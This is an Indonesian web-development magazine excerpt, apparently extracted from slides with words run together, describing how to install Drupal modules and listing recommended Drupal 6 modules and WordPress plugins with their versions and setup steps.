yaituhttp://www.drupal.org.Drupal adalah salah satuCMS php-mysql terbaikyang dimiliki komunitasopen source. CMS terbaikyang terasa ringan,mudah, dan aman, gelar“pas di hati” memangcocok dipegang olehdrupal..ilmu Website |MagazineE-learning community offline version31DRUPAL4. Aktifkan melalui menu Admister >> Site building >>Modulespadawebsitejoomlakita.5. Pada halaman modules, berikan tanda centang untukmengaktifkan modul yang kita inginkan, lalu kliktombolsaveconfiguration.Install Module DrupalUntuk installasi module Drupal, sebelumnya kita harusmengupload file module-nya terlebih dahulu secara manualmenggunakan fasilitas cpanel jika anda ingin menginstallnyadi server hosting, dan lakukan copy jika anda inginmenginstallnya pada localhost.Cara install:1. Masuk ke Direktori Public html >> sites >> all2. Pada direktori all buatlah 2 buah folder baru, berinama masing-masing Modules dan Themes. (untukmodule masukkan ke folder modules, untuk temamasukkan ke folder themes)3. Upload file module.zip (*.tar.gz) yang telah kitadownload ke folder modules yang telah kita buat.Pastikan file sudah harus terextract di foldermodules tersebut, atau extract terlebih dahulu jikatidak ada fasilitas auto-extract pada cpanel tsb.
  • 35. Module Drupal PilihanBerikut ini beberapa module Drupal v.6.x pilihan sebagaireferensi bagi anda yang sedang mencari-cari module yangtepat atau sekedar mencoba-coba module Drupal. Moduleyang di jabarkan di sini merupakan module yang berlisensigratis.Diantaranya adalah sebagai berikut:FCK editorFCK editor adalah salah satu modul penting yang wajib dipasangpada website drupal. FCK editor adalah editor HTML, sepertiWYSWYG (what you see is what you get) yang digunakan untukmenulis postingan atau artikel semudah menulis di microsoft wordatau openwriter, kita bisa memasukan foto, flash, mengaturalignment, edit text, dsb.Selain modul kita juga harus mengupload FCK editor library-nya.Version : 6.x-1.3-rc7License : GPLv2.0Type : Non-CommercialCategory : EditorsCompatibiliy : 6.xDeveloper : wwalcIMCEmodul tambahan untuk editor WYSWYG, digunakan pada FCKeditor atau tinyMCE, fungsinya adalah untuk memasukan imagedengan mudah sekaligus mengupload image tersebut terlebihdahulu.Version : 6.x-1.2License : GPLv2.0Type : Non-CommercialCategory : EditorsCompatibiliy : 6.xDeveloper : ufkuTokenmodul yang sangat penting, banyak sekali modul lain yangtergantung pada token, module token menyediakan central APIuntuk modul lain yang menggunakan token ini,Misalnya kita ingin otomatis membuat folder dengan format:sites//all//default//files//[uid] dimana [uid] ini otomatis digantidengan User ID yang login pada saat itu.Modul yang menggunakan modul token seperti Organic Groups,Pathauto, eCommerce, Ubercart, dll.Perlu diingat token tidak menyediakan fungsi yang kelihatan padapengguna.Version : 6.x-1.11License : GPLv2.0Type : Non-CommercialCategory : UtilityCompatibiliy : 6.xDeveloper : EatonAlbum PhotosIngin menampilkan image atau album photo di website Drupaldapat menggunakan modul ini. Dimaksudkan sebagai pengelolaangambar dan album foto, memungkinkan mempublish beberapafoto dalam satu album pada halaman awal situs kita, dapat jugaditambahkan fitur slideshow.Version : 6.x-2.5-beta4License : GPLv2.0Type : Non-CommercialCategory : ContentCompatibiliy : 6.xDeveloper : eastcn.ilmu Website |MagazineE-learning community offline version32
  • 36. CAPTCHAlelah untuk menghapus komentar-komentar sampah yang masukke situs kita? install saja modul CAPTCHA ini, modul CAPTCHA akanmencegah situs anda dari spambot. CAPTCHA adalah sebuah tesrespon yang biasanya ditempatkan di form web untuk memastikanapakah pengguna mesin atau manusia. Tujuan dari CAPTCHAadalah untuk memblok submissions form dari spambot-scriptotomatisModule CAPTCHA menyediakan 3 pilihan tipe kode yang akandigunakan, berupa gambar, huruf/angka, dan penghitunganmatematis.Version : 6.x-1.0-rc2License : GPLv2.0Type : Non-CommercialCategory : SecurityCompatibiliy : 6.xDeveloper : wundoContent Construction Kit (CCK)Ini merupakan modul yang paling powerfull di drupal jikadipasangkan dengan view. CCK merupakan module yang sangatfungsional. Dengan CCK kita diberikan keleluasaan danimplementasi untuk membuat jenis content / node sendiri dibidang yang kita inginkan. Beberapa kontibutor jugamenambahkan beberapa widget untuk CCK, seperti computedfield, date, email, image, link.Version : 6.x-2.1License : GPLv2.0Type : Non-CommercialCategory : ContentCompatibiliy : 6.xDeveloper : JonBobViewModule view menyediakan metode yang fleksibel untuk mengaturtampilan di web drupal yang mengatur bagaimana content / Nodedipresentasikan. Dengan module ini kita diberikan keleluasaanmegatur tampilan custom node yang dibangun menggunakan CCKmodule. CCK dan view ini memang daya tarik kuat untukmenggunakan CMS Drupal.Version : 6.x-2.3License : GPLv2.0Type : Non-CommercialCategory : Content DisplayCompatibiliy : 6.xDeveloper : merlinofchaosPathautoDrupal mempunyai kemampuan untuk membuat URL yangfriendly (SEF) dengan modul pathauto ini, secara default postinganpada drupal akan dberi URL seperti example.com/node/123,dengan pathauto kita dapat membuat alias pada content yangtelah didefinisikan sebelumnya, bersama dengan modul Token kitabisa buat menjadi example.com/articles/20080221/hello-word,yang lebih human readable dan SEO friendly tentunya.Version : 6.x-1.1License : GPLv2.0Type : Non-CommercialCategory : SEFCompatibiliy : 6.xDeveloper : Greggles.ilmu Website |MagazineE-learning community offline version33
  • 37. CounterSebaiknya kita tahu siapa dan berapa banyak pengunjung websitekita, module ini digunakan untuk menampilkan penghitung(counter) website.Fiturnya antara lain:- Count Site Counter- Count Unique Visitor- Count Registered and Unregistered User- Count Published and unpublised Node- Display Clients IP- Report: Client IP, Access Date, Access Page- Initial valuesVersion : 6.x-1.6License : GPLv2.0Type : Non-CommercialCategory : Evaluation/ratingCompatibiliy : 6.xDeveloper : Drupal-id.comNice MenusAkan lebih menarik jika membuat tampilan menu di web Drupalkita menjadi lebih nice, dengan modul ini kita bisa membuat menudrop-down/right/left sesuai dengan keinginan kita. Denganmenempelkan mouse pada menu maka akan memunculkansubmenu lainnya. Nice Menu memungkinkan 3 macam style untukpenggunaannya, yaitu: horizontal, menu drop ke bawah; vertikal,menu fly ke kanan; dan vertikal, menu fly ke kiri.Version : 6.x-1.3License : GPLv2.0Type : Non-CommercialCategory : Content DisplayCompatibiliy : 6.xDeveloper : add1sunSimplemenuModul ini untuk membuat menu bar administrator dimunculkan dibagian atas pada setiap halaman, menunya fixed berada di atassetiap halaman dan menggunakan jquery untuk memposisikannyadi bagian atas. Sangat bermanfaat untuk template yang tidakmempunyai tempat yang bagus untuk menaruh menuadministratorVersion : 6.x-1.2License : GPLv2.0Type : Non-CommercialCategory : AdministrationCompatibiliy : 6.xDeveloper : Roger López.ilmu Website |MagazineE-learning community offline version34
  • 38. ContemplateMengedit template drupal dapat dilakukan dengan mudah.Dengan Contemplate (alias content template) kita dapatmemodifikasi bagian teaser, body, dan RSS pada drupalmenggunakan administrator untuk menentukan template.Template ini menggunakan Code PHP dan semua variable objeknode yang tersedia untuk digunakan dalam template nantinya.Module ini tersambung baik dengan CCK.Version : 6.x-1.0-beta5License : GPLv2.0Type : Non-CommercialCategory : ContentCompatibiliy : 6.xDeveloper : jrglasgowUbercartIngin berjualan online di web Drupal? ubercart adalah salah satumodule e-commerce yang bisa digunakan di Drupal, Fiturnyalumayan lengkap, yang difokuskan untuk penggunaan storeconfiguration, menciptakan produk dan katalog, dan pembelianonline. Modul ini cocok digunakan untuk website yang menjualbarang berupa fisik ataupun digital.Version : 6.x-2.0-beta5License : GPLv2.0Type : Non-CommercialCategory : e-CommerceCompatibiliy : 6.xDeveloper : Andy_LoweEmfieldini merupakan kunci untuk yang dapat membuat Drupal andamenjadi layaknya youtube. modul ini digunakan untuk meng-embed video, image,dan audio file dari berbagai provider thirdparty, seperti YouTube, Google, Blip.TV, Revver, MySpace,MetaCafe, Flickr, Imageshack, dsb. Kita tinggal memasukkan URLatau Embed code-nya.Version : 6.x-1.0-beta1License : GPLv2.0Type : Non-CommercialCategory : Content DisplayCompatibiliy : 4.7 / 5 / 6.xDeveloper : Aaron WinbornQuicktabsModul untuk membuat content tabs dan block dengan mudah,kita bisa membuat block pada halaman website yang diisikan tab-tab sesuai dengan keingina, jika mengklik tabnya maka secaraotomatis akan membuka halaman tab tersebut secara instanttanpa load terlebih dahulu, memanfaatkan jquery. Tersedia opsiajax mode off/on.Version : 6.x-2.0-rc2.License : GPLv2.0Type : Non-CommercialCategory : e-CommerceCompatibiliy : 6.xDeveloper : Andy_LoweThickboxModul untuk mempermanis postingan website Drupal kita,thickbox adalah modul berbasis javascript on the top jquerylibrary, yang memungkinkan untuk memunculkan gambar/textpada pop-up window jika kita mengklik gambar atau text.Sehingga user tidak perlu meninggalkan page aslinya untukmelihat preview gambar atau text yang diperbesar.Version : 6.x-1.2License : GPLv2.0Type : Non-CommercialCategory : Content DisplayCompatibiliy : 6.xDeveloper : frjo.ilmu Website |MagazineE-learning community offline version35
  • 39. ShoutboxModul untuk membuat block (tampilan pada sidebar) dimanapengunjung dapat dengan cepat mengirim shoutbox / pesansingkat yang secara langsung ditampilkan tanpa refresh.Version : 6.x-1.2License : GPLv2.0Type : Non-CommercialCategory : ContentCompatibiliy : 6.xDeveloper : distericsFivestarMenampilkan pilihan voting penilaian untuk suatu node yangdiinginkan, misalnya artikel, tampilannya atraktif berbasis ajax,berupa 5 bintang berjejer kita tinggal mengesernya untuk memilihberapa bintang sebagai nilai voting nantinya.Version : 6.x-1.2License : GPLv2.0Type : Non-CommercialCategory : Evaluation/ratingCompatibiliy : 6.xDeveloper : quicksketchDHTML menuMembuka menu secara dinamis untuk mengurangi beban refreshhalaman, ini sangat bagus digunakan di menu administration,lebih cepat membuka menu dan submenu pada halamanadminstrator situs jika dibandingkan tidak menggunajkan DHTMLmenu.[Satya Danu dan Hartono Gunawan]Version : 6.x-3.4License : GPLv2.0Type : Non-CommercialCategory : Site navigationCompatibiliy : 6.xDeveloper : ArancaytarTaxonomy ManagerModule ini menyediakan pengaturan yang powerfull untukmembuat / entry data suatu taksonomi, yang akan ditampilkandalam dynamic tree view, dimana setiap parent item dapatdibuka/tutup atau expand/collapse dan memunculkan daftar itemlainnya.Taxonomy Manager mempunyai fitur seperti:Mass deleting, mass adding of new terms, moving of terms inhierarchies, merging of terms, fast weight changing with up anddown arrows (and AJAX saving), AJAX powered term editing form,simple search interface, dan CSV Export of terms.Version : 6.x-1.0-beta2.License : GPLv2.0Type : Non-CommercialCategory : AdministrationCompatibiliy : 6.xDeveloper : mh86.ilmu Website |MagazineE-learning community offline version36
  • 40. WordpressPluginsungkin kita lebih mengenal wordpress sebagai layananblog yang ada di internet. Ternyata bukan hanya itu,MWordpress pun tersedia dalam bentuk engine CMS yangbisadigunakanolehsiapasajalayaknyaJoomla,Drupal,danlain-lainKarena itu situs wordpress dibedakan menjadi dua. Satu yaituwordpress.com yang fungsinya sebagai web blogging untuk parablogger. Dan yang kedua adalah wordpress.org, yaitu situs khususuntuk menyediakan dan informasi lainnya mengenai engine CMSWordpress.Kita akan membahas tentang plugin engine wordpress sebagai CMSyang bisa kita gunakan untuk situs pribadi kita. Berikut adalahbeberapa plugin pilihan yang akan berguna untuk keperluan situsanda.Mungkin kita lebih mengenal wordpress sebagai layanan blog yang ada di internet. Ternyata bukan hanya itu,Wordpress pun tersedia dalam bentuk engine CMS yang bisa digunakan oleh siapa saja layaknya Joomla,Drupal, dan lain-lainWo r d P r e s sPlug-in.ilmu Website |MagazineE-learning community offline version37Sticky PostPluggin ini sangat berguna bagi anda yang menginginkan satuartikel yang selalu nampak pada halaman depan situs wordpressanda. Walaupun anda membuat artikel baru, satu, dua atauseratus :D, postingan yang diberi label sticky akan bertahandiposisi teratas. Ini sangat berguna bagi anda yang ingin membuatsejenis artikel "welcome" untuk para pengunjung anda. Bisa berisikata-kata sambutan, foto anda, identitas anda atau apapun yangbersifat welcome artikel.Bagi anda pembuat website sederhana sejenis company profile,tidak usah repot-repot membuat website statis dari html. Cukupmenggunakan wordpress dan pluggin sticky ini. Misalkan andapembuat website sederhana yang dapat pekerjaan membuatsebuah situs perusahaan yang simple. Hanya terdiri dari welcomeartikel, link-link sederhana, dan artikel-artikel yang selalu diupdatesetiap waktu berdasarkan agenda perusahaan tersebut. Makawordpress dan pluggin ini cukup untuk menjadi senjata tempuranda :DCara menggunakannya sangat mudah, saat anda membuat artikelbaru atau mengedit artikel lama, berikan tanda centang pada Stickthis post to the front page atau pilih opsi sticky bila andamenggunakan wordpress versi Version 2.7.1.Version : 1.40Other Versions »Last Updated : 2008-12-12Requires WordPress Version: 2.7 or higher
  • 41. Google Sitemap GeneratorPlugin ini termasuk plugin sitemap untuk wordpress anda. Sesuaidengan namanya sitemap atau peta situs, plugin ini digunakanuntuk memudahkan pencarian keyword yang diketikanpengunjung atau yang dicari mesin pencari pada situs anda. Inijuga berguna dalam meningkatkan Search Engine Optimizationsitus anda. Sitemap ini menggambarkan denah situs anda.Memuat berbagai informasi untuk memudahkan mesin pencari.Seperti halaman apa saja yang ada, file-file apa saja yang ada,dlsb.Untuk menggunakannya, sangat mudah. Bagi anda yang memilikiakun di wordpress.com, situs anda sudah otomatis telahmenggunakan plugin ini. Tetapi bagi anda yang memiliki hostingsendiri dan menggunakan CMS wordpress di situs anda, makaanda perlu menginstalnya terlebih dahulu. Bila sudah diinstall,maka plugin ini akan otomatis membuat beberapa file baru sepertisitemap.xml, sitemap.xml.gz, dan robots.txt.Version : 3.1.2Last Updated : 2008-12-26Requires WordPress Version : 2.1 or higherCompatible up to : 2.7Post videos and photo galleriesIni merupakan plugin yang digunakan untuk membuat gallery. Isigaleri tersebut meliputi foto, video, audio. Pilih Foto, video, danfile musik anda lalu anda tinggal pilih skin untuk ditampilkan disitus anda.Beberapa fitur plugin ini antara lain:1. 15 skins and more to show your gallery - cool flash,slideshow, playlists, full-screen, Cooliris etc2. Automatic uploading and hosting3. Automatic resizing of photos (no need to use flickr)4. Automatic transcoding of videos to flv/3gp/mp4 (noneed to use youTube)5. Support Cooliris 3D fullscreen slideshowsVersion : 1.20Last Updated : 2009-4-13Requires WordPress Version : 2.0.2 or higherCompatible up to : 2.7.1.ilmu Website |MagazineE-learning community offline version38WP-GravatarBagi para netter yang sudah sering berinternet (terutama yangsuka chatting atau nongokrong di situs community) tentunyamengenal istilah Avatar. Avatar adalah foto atau logo yangmewakili anda di internet. Biasanya di berbagai komentar di situs-situs community, banyak terdapat avatar yang terlihat bagi paramember situs tersebut/tertentu. Berguna untuk tanda pengenalanda di internet. Karena manusia lebih menyukai dan lebih mudahmengingat tampilan bila dibandingkan nama atau teks. Betul apabetul? Nah sekarang apa itu gravatar? Gravatar merupakankepanjangan dari Globally Recognized Avatar. Lalu apa bedanyaantara Avatar dengan Gravatar?Avatar biasanya hanya digunakan untuk satu situs saja. Denganadanya Gravatar, anda bisa menggunakan satu Avatar untuksemua situs. Dengan konsep ini, diharapkan memudahkan andauntuk menggunakan avatar anda. Jadi anda tidak perlu repot-repot untuk mengupload dan mengkonfirugasi avatar andadisetiap situs, cukup menggunakan satu email. Itu untuk mewakiliGravatar anda. Namun, layanan ini masih terbatas pada beberapasitus. Situs yang menggunakan fitur ini biasanya terdapat tandaGravatar enable pada optionnya. Pada situs berengine wordpress,Gravatar ini bisa digunakan untuk keperluan itu.Untuk menggunakan Gravatar bagi pengguna wordpress, langkah-langkahnya cukup sederhana. Berikut langkah-langkahnya untukanda pengguna versi Version 2.7.1:1. Download plugin gravatar untuk wordpress (ada dalam DVD)2. Masuk ke admin wordpress anda3. Klik pluggin (disebelah kanan), lalu klik Add New4. Klik browse dan cari file gravatar untuk wordpress (wp-gravatar.zip)5. Klik Install6. Lalu klik Activate plugin7. Selesai.Version : 2.7.1Last Updated : 2008-5-1Requires WordPress Version : 2.1 or higherCompatible up to : 2.6WP – CumulusInilah salah satu plugin yang mampu menampilkan tag-tag andasecara dinamis. Tag-tag anda akan berupa file flash yang dinamisyang akan bergerak berlawanan dengan mouse anda. Ini bergunauntuk memudahkan pengguna untuk mengklik tag yang ada padakumpulan tag tersebut. Cocok untuk anda yang menginginkan webyang dinamis dan futuristik.Karena menampilkan file flash di website anda, maka browseryang digunakan harus sudah terinstal oleh flash player untukbrowser.Anda bisa mengatur tampilan dari tags ini sesuai dengan keinginananda. Untuk anda yang menggunakan Wordpress versi 2.7.1,masuklah ke dalam WP admin anda lalu pilih appearance - widget– aktifkan WP-Cumulus. Lalu perhatikan disebelah kanan layar,pada Wp-Cumulus: Tag Cloud klik Edit. Bila sudah, klik done lalusave change, maka tag tersebut akan aktif dan berpenampilansesuai dengan nilai yang anda gunakan.Version : 1.20Last Updated : 2009-3-11Requires WordPress Version : 2.3 or higherCompatible up to
  • 42. Better tag cloud widgetUntuk para pengguna wordpress, tentunya mengenal apa itutag cloud. Yaitu plugin yang menampilkan tag-tag yang adauntuk bisa diakses oleh pengunjung. Selain itu, tag cloud akansecara otomatis memperbesar ukuran font tag tertentu bilakata itu terdiri dari banyak post.Ada banyak tag cloud untuk wordpress. Salah satunya pluginBetter tag cloud widget ini. Diberi nama better karena memanglebih baik dari tag cloud wordpress default pada umumnya.Tengok lah dibagian option wordpress anda. Disana terterabeberapa option dari plugin ini. Beberapa fitur yang ditawarkanoleh tag cloud ini adalah sebagai berikut:Count per DayCount per Day merupakan plugin hit counter untuk wordpress. Hitcounter fitur yang biasa digunakan sebuah website untukmenghitung jumlah pengunjung yang masuk kedalam website. Bilahit counter biasa, program akan menghitung jumlah pengunjungberdasarkan jumlah akses seseorang ke situs tersebut, walaupunsitus tersebut direfresh, maka fitur tersebut akan menghitungsebagai pengujung baru.Dengan menggunakan plugin ini, pencatatan tidak dihitungberdasarkan berapa banyak akses dengan dan atau halamantersebut direfresh, tetapi berdasarkan IP yang berasal, jadi bila iptersebut pada satu hari mengakses halaman tersebut, dan dalamsatu hari dia mengakses lebih dari satu kali, maka tetap dihitungsatu kali oleh plugin.Beberapa fiturnya antara lain:1. count reads and visitors2. shows reads per page3. shows visitors today, yesterday, last week, last monthsand other statistics on dashboard4. Statistics readable dari frontend andaVersion : 1.5.1Last Updated : 2009-4-20Requires WordPress Version : 2.7 or higherCompatible up to : 2.71. Kita bisa menentukan ukuran font,2. Dapat menentukan jumlah tag cloud yang tampil (berdasarkanbanyaknya post),3. Dapat menentukan format tampilan (list/flat),4. Dapat menentukan format ordering/ mengurutkan tag cloudsesuai alfabet. Terdiri dari 3 pilihan. Ascended, Descended,Random.Version : 0.4.0Last Updated : 2009-3-10Requires WordPress Version : 2.5 or higherCompatible up to : 2.7.1.ilmu Website |MagazineE-learning community offline version39
  • 43. Paginated CommentsBila anda memiliki sebuah blog berbasis wordpress yang isinyabagus dan sangat bermanfaat. Tentunya akan banyak pengunjungyang mengunjungi situs anda. Dan misalkan pengunjung andabanyak yang memberikan komentar atas berbagai artikel anda,bukan tidak mungkin anda akan kesulitan mengontrol komentar-komentar yang masuk. Karena kadang satu artikel yang kita buatberjumlah 5 paragraf, komentarnya lebih dari 10 halaman (ataumungkin 100 halaman :D), tentunya itu akan memperlambat akseshalaman anda. Apalagi diperparah bila komentar yang adadisertakan pula gambar-gambar yang besar, tentunya merugikanpengunjung lainnya yang hanya berharap untuk melihat post anda,bukan komentar orang lain dan bukan untuk menghambur-hamburkan bandwidth.Karena itu ada baiknya anda menggunakan plugin yang satu ini.Berfungsi untuk mengontrol dan membagi komentar menjadibeberapa halaman sesuai dengan keinginan anda. Bagipengungjung yang hanya ingin melihat, dia tidak perlu repot-repotmenunggu sampai komentar semuanya di tampilkan. Bagi yangingin melihat komentar, mereka bisa melihat-lihat halaman yangada. Win Win Solution isnt it.Version: 1.0.4Last Updated: 2009-2-26Requires WordPress Version: 2.3.x or higherCompatible up to: 2.7.1Pretty LinkDengan plugin ini, anda bisa membuat link yang bersih,sederhana, dan trackable. Plugin ini bisa menganalisa berapabanyak klik yang didapatkan setiap harinya yang didapat situsanda. Bersih maksudnya anda bisa menggunakan plugin inisebagai redirect ke situs tujuan. Bila link situs anda adalah urlafiliasi anda, maka link ini bisa membersihkan kode-kode yangpanjang dan menjadikan link yang bersih dan simple. Sebagaicontoh anda bisa menggunakan plugin ini untuk membuat urluntuk link yang menuju situs ilmuwebsite.com tapi menggunakanfitur afiliasi tertentu, berguna untuk masking afiliasi link.Sebagaimana penggunaan TinyURL, atau BudURL, plugin inimerupakan salah satu alternatif untuk anda..ilmu Website |MagazineE-learning community offline version40Saat plugin ini digunakan, maka bukan hanya link yang akan diredirect ke situs tujuan, tapi plugin juga akan mencatat berapabanyak link tersebut di klik berdasarkan ip unik, ip yang kembalilagi, atau ip baru yang bisa digunakan untuk dianalisa untuk waktuyang akan datang.Version : 1.3.0Last Updated : 2009-4-20Requires WordPress Version : 2.7.1 or higherCompatible up to : 2.7.1WordPress Related PostsPernahkah anda melihat disebuah blog wordpress atau situsberengine CMS wordpress, dimana anda melihat sebuah artikeltentang suatu hal, dibawah artikel tersebut terdapat pula linkartikel-artikel lainnya yang saling berhubungan dengan judulartikel yang sedang anda baca. Inilah plugin yang digunakan untukitu. Akan sangat berguna bagi para pengunjung situs anda supayamemudahkan mereka untuk membaca artikel lain yang salingberkaitan atau berhubungan satu dengan yang lainnya. Bila sudahbegitu, situs anda akan semakin banyak yang mengunjungi karenabanyak artikel yang saling berhubungan satu sama lainnyasehingga para pembaca akan betah berlama-lama surfing disitusanda.Version : 1.0Last Updated : 2008-10-8Requires WordPress Version : 2.3 or higherCompatible up to : 2.6.2
  • 44. AkismetAkismet adalah plugin default bawaan wordpress. Plugin iniberguna untuk memfilter berbagai macam komentar yangdianggap SPAM. Pada saat anda menggunakan engine wordpressuntuk situs anda, maka anda harus mengaktifkan dahulu pluginini. Bagaimana cara mengaktifkannya, terlebih dahulu anda harusmemiliki API key untuk plugin tersebut. Lalu bagaimana andamendapatkan key tersebut, untuk itu anda harus mempunyai akundi wordpress.com untuk mendapatkan API key. Daftarkanlah dirianda ke situs wordpress.com. Bila sudah, masuklah ke blog andatersebut.Masuklah ke alamat http://en.wordpress.com/profile/ cari padabagian bawah sebelah kiri yang ada tulisan Your API Key:(misalnya)hgkrn7xxxxx. Copy kode tersebut lalu masuklah ke situsyang berengine wordpress anda tersebut lalu paste kode tersebut.Berikut ringkasan langkah mencopy kode API kedalam pluginAkismet wordpress anda - saya asumsikan anda menggunakanwordpress versi 2.7.1:1. Copy API Key anda di http://en.wordpress.com/profile.Perhatikan dibagian kiri bawah, akan bertuliskan Your API Key:(misalnya)hgkrn7xxxxx. Copy lah kode tersebut[8. Lalu klik tombol update9. Maka anda telah berhasil mengaktifkan plugin tersebut ditandaidengan pemberitahuan teks Your key has been verified. Happyblogging! pada situs anda2. Buka situs anda, dan masuklah ke dashboard wordpress andaex: http://situswordpressanda/wp-admin3. Masuklah ke bagian plugin. Terletak dibagian kiri4. Klik Installed5. Klik activate pada plugin Akismet6.KlikteksenteryourWordPress.comAPIkeypadakalimatYoumustenteryourWordPress.comAPIkeyforittowork7.LalumasukanAPIKeyandapadakotakPleaseenteranAPIkey;Version : 2.2.3LastUpdated :2008-12-3.ilmu Website |MagazineE-learning community offline version41
  • 45. Google Sitemapsagi para webmaster, istilah sitemaps mungkin sudah akrabditelinga. Sitemap adalah gambaran peta suatu situs yangBberfungsi untuk memudahkan mesin pencari untukmengindeks halaman apa saja yang terdapat pada situs anda,sehingga SEO (Search Engine Optimizatin) anda akan tercapai.Salah satu produk sitemap ini adalah apa yang dikeluarkan googlebernama Google Sitemaps. Plugin ini juga tersedia untuk enginewordpress. Dengan adanya plugin ini, akan membuat artikel atauhalaman baru anda secara otomatis diberitahukan kepada googlebahwa halaman atau artikel anda siap untuk diindeks. Selainmemberitahu google, plugin ini juga memberitahukan searchengine lainnya seperti Yahoo dan MSN.;Version : 3.1.2Last Updated : 2008-12-26Requires WordPress Version : 2.1 or higherCompatible up to : 2.7Dalam pencarian indeks oleh google sitemaps ini, sitemap dibacaoleh google dalam format XML. Bila anda belum mengerti tentangbahasa XML, jangan kuatir, plugin ini akan secara otomatismenggenerate setingan sitemap anda dan mencovertnya kedalambentuk XML. Berikut cara penginstalan pluginnya.Menginstal plugin - saya asumsikan anda menggunakan wordpressversi 2.7.1:1. Download plugin Google Sitemap di wordpress.org (ada dalamDVD)2. Masuk kedalam situs anda lalu langsung ke bagian plugin3. Pilih Add new, lalu klik browse dan cari file plugin GoogleSitemap yang telah anda download, lalu klik tombol Install Now4. Lalu bila berhasil, langsung klik activate plugin5. Klik menu Settings yang ada pada sebelah kiri bagian bawahwordpress anda, lalu klik XML-Sitemap6. Karena kita baru menginstal plugin ini, maka kita harusmembuat file xml baru. Kliklah Click here pada teks The sitemapwasnt built yet. Click here,... seperti gambar dibawah ini7. Bila anda ingin menseting opsi-opsi yang ada, silahkan andamengaturnya. Bila sudah, silahkan klik tombol Update Optiondibagian bawah halaman tersebut8. Selesai.Maka Google Sitemaps akan secara otomatis membuat file xmlyang bernama sitemap.xml. Untuk mengeceknya, silahkan andaexplorasi situs anda, ketikwww.namasituswordpressanda.com/sitemap.xml. Apakah prosesitu sudah selesai? Jawabannya belum. Kita harus mendaftarkandulu url sitemap yang dihasilkan, ke google. Berikut caranya:1. Buka url http://www.google.com/webmasters/tools2. Buat lah akun google terlebih dahulu. Bila sudah mempunyaiakun, langsung login ke google3. Daftarkan url situs anda lalu klik tombol Add Site4. Masukkan nama file sitemap kita. Dalam hal ini bernamasitemap.xml. Lalu klik tombol submit sitemap5. Selesai.ilmu Website |MagazineE-learning community offline version42
  • 46. AJAX category dropdownBila pada situs anda memiliki banyak kategori, maka plugin inimenghasilkan multi-level kategori untuk situs anda. Plugin inisecara otomatis akan mendeteksi berapa banyak sublevelskategori yang blog anda punya.Karena menggunakan AJAX, maka plugin ini terasa lebih powerful.Version : 0.1.3bLast Updated : 2009-4-21Requires WordPress Version : 2.7 or higherCompatible up to : 2.7.1PodPressPodPress adalah plugin podcasting untuk wordpress. Podcastadalah rangkaian file digital audio (bahkan juga video) yang disalurkan menggunakan sindikasi di internet. Layaknya RSS padaweb, Podcast bisa dibilang versi suara pada sindikasi file audio diinternet.Pada engine wordpress ini, Podcast ini bisa digunakan denganmenggunakan plugin PodPress. Dengan adanya Podpress, orang-orang yang berkunjung ke situs anda bisa mendengarkan siaranPodcast anda tanpa harus masuk ke situs anda. Bagaimana caraagar pengunjung bisa mendengarkan Podcast anda? Caranyadengan menggunakan program khusus seperti Juice22 dlsb.Version: 8.8.1Last Updated: 2009-2-28Requires WordPress Version: 1.5 or higherCompatible up to: 2.3WP-CacheDalam menerapkan caching system pada situs berenginewordpress, ada pilihan plugin wordpress yang patut dicoba. Pluginini bernama WP-Cache. Berfungsi untuk membaca danmengimpan halaman wordpress dalam bentuk file statik. File inidigunakan jika suatu saat dibutuhkan mesin wordpress. Denganadanya plugin ini, maka mesin tidak secara lagsung mengcompilescript php jika ada proses request dari klient.Dengan fungsi ini, maka situs berengine wordpress anda akansemaking cepat diakses dan lebih responsif terhadap request dariklien. Ini sangat bermanfaat untuk situs anda.Version: 2.1.2Last Updated: 2007-9-21DropCap First CharacterAnda masih ingat pelajaran office pada saat SMP dulu? Ada istilahtentang Drop Cap, yaitu huruf awal yang besar pada paragrafpertama. Nah untuk menyajikan drop cap pada setiap awal hurufsetiap artikel anda, plugin dropcap untuk wordpress ada untukanda. Penginstalannya sangat mudah. Anda tinggal menginstalplugin ini dengan cara yang biasa, dan bila sudah, maka setiapartikel anda pun akan memiliki huruf yang besar ditiap awalparagraf.Version : 1.0.1Author : Rodney Campbell (Remorhaz)Author URI : http://www.rc.au.net/Tiny SpoilerBagi para pecinta forum internet layaknya kaskuser, tentunyamengenal apa yang dinamakan spoiler. Spoiler adalah sejenis linkpenyembunyi teks atau gambar. Berguna untuk menampilkan atautidak menampilkan teks atau gambar. Ini sangat berguna pada saatgambar atau teks yang ada dirasa akan memperbesar bandwidthatau proses loading yang diperlukan bagi para netter. Denganadanya spoiler ini, situs anda bisa mengatur gambar besar atauteks yang banyak, apakah ingin ditampilkan atau tidak.Secara default, bila anda menggunakan plugin ini teks ataugambar pada artikel anda akan tidak ditampilkan (hide). Caramenggunakannya cukup mudah, installah plugin ini secara biasa,lalu pada saat ingin digunakan pada artikel anda, masuklahkedalam mode HTML, lalu masukan kode seperti berikut:[spoiler name="Klik disini untuk melihat gambar"] ini adalahgambar anda [/spoiler]Kata "Klik disini untuk melihat gambar" akan menjadi link yang biladiklik akan menampilkan isi dari bagian antara [spoiler] dan[/spoiler].Version : 0.1Last Updated : 2009-1-1Requires WordPress Version : 2.5 or higherCompatible up to : 2.7.ilmu Website |MagazineE-learning community offline version43WordpressPlug-in
  • 47. All in One SEO PackUntuk memaksimalkan kinerja SEO anda, ada baiknya andamenggunakan plugin ini. Berikut langkah-langkah penggunaannya- kami asumsikan anda menggunakan wordpress versi 2.7.1:1. Buka situs wordpress lalu masuk ke admin anda2. Masuk kebagian plugin disebelah kiri anda lalu klik Add new3. Klik browse dan cari file All in One SEO Pack anda (ada dalamDVD kami)4. Klik Install now lalu klik Activate Plugin pada bagian kiri halamanadmin anda5. Masuk kebagian Setting lalu klik All in One SEO6. Atur SEO terserah kemauan anda lalu bila sudah, klik UpdateOptions7. SelesaiVersion : 1.4.7.4Last Updated : 2009-3-8Requires WordPress Version : 1.5 or higherCompatible up to : 2.7.1WP Smiley SwitcherMenurut penjelasan di situs wordpress.org, "Wordpress belumada pengaturan untuk mengganti smiley. Plugin ini menonaktifkanWordpress smiley standar dan memungkinkan Anda untukmemilih menggunakan smiley. Jika Anda telah membuat sebuahpaket smiley sendiri dapat digunakan sebagai salah satu yangbaik."Plugin ini berguna untuk mengubah beberapa emoticon yangbiasa kita tulis dengan teks, menjadi gambar emoticon.Settingan yang bisa diubah antara lain:1. Pilih sendiri smiley galeri direktori2. Pilih smiley pak disertakan dengan WP Smiley Switcher3. Mengaktifkan / menonaktifkan smiley dengan posting /halaman4. Mengaktifkan / menonaktifkan smiley dengan komentarVersion : 0.1Last Updated : 2008-9-15Requires 